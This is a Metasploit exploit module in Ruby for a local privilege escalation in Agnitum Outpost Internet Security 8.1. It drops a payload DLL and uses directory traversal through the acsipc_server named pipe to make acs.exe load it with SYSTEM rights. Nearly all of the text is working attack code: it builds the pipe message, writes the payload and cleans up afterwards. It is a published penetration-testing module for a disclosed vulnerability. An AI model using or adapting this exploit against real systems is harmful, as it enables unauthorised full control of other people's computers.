Agnitum Outpost Internet Security Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
          'Description' => %q{
            This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
            Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
            arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
            code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
            Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Ahmad Moghimi', # Vulnerability discovery
            'juan vazquez' # MSF module
          ],
          'Arch' => [ARCH_X86, ARCH_X64],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'Privileged' => true,
          'Targets' => [
            [ 'Agnitum Outpost Internet Security 8.1', {} ],
          ],
          'Payload' => {
            'Space' => 2048,
            'DisableNops' => true
          },
          'References' => [
            [ 'OSVDB', '96208' ],
            [ 'EDB', '27282' ]
          ],
          'DisclosureDate' => '2013-08-02',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_config_getenv
              ]
            }
          }
        }
      )
    )

    register_options([
      # It is OptPath becuase it's a *remote* path
      OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
      # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
      OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
    ])
  end

  def junk
    return rand_text_alpha(4).unpack("V").first
  end

  def open_named_pipe(pipe)
    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)

    handle = r['return']

    if handle == invalid_handle_value
      return nil
    end

    return handle
  end

  def write_named_pipe(handle, dll_path, dll_name)
    traversal_path = "..\\" * datastore["DEPTH"]
    traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
    traversal_path << "\\#{dll_name}"

    path = Rex::Text.to_unicode(traversal_path)

    data = "\x00" * 0x11
    data << path
    data << "\x00\x00"
    data << "\x00\x00\x00"

    buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
    buf << [0x17].pack("V") # command
    buf << [junk].pack("V")
    buf << [data.length].pack("V")
    buf << [0, 0, 0].pack("V*")
    buf << data

    w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)

    if w['return'] == false
      print_error("The was an error writing to disk, check permissions")
      return nil
    end

    return w['lpNumberOfBytesWritten']
  end

  def check
    handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
    if handle.nil?
      return Exploit::CheckCode::Safe
    end

    session.railgun.kernel32.CloseHandle(handle)
    return Exploit::CheckCode::Detected
  end

  def exploit
    temp_dir = ""

    print_status("Opening named pipe...")
    handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
    if handle.nil?
      fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
    else
      print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
    end

    if datastore["WritableDir"] and not datastore["WritableDir"].empty?
      temp_dir = datastore["WritableDir"]
    else
      temp_dir = client.sys.config.getenv('TEMP')
    end

    print_status("Using #{temp_dir} to drop malicious DLL...")
    begin
      cd(temp_dir)
    rescue Rex::Post::Meterpreter::RequestError
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
    end

    print_status("Writing malicious DLL to remote filesystem")
    write_path = pwd
    dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
    begin
      # Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
      write_file(dll_name, generate_payload_dll)
      register_file_for_cleanup("#{write_path}\\#{dll_name}")
    rescue Rex::Post::Meterpreter::RequestError
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")
    end

    print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
    bytes = write_named_pipe(handle, write_path, dll_name)
    session.railgun.kernel32.CloseHandle(handle)

    if bytes.nil?
      fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
    end
  end
end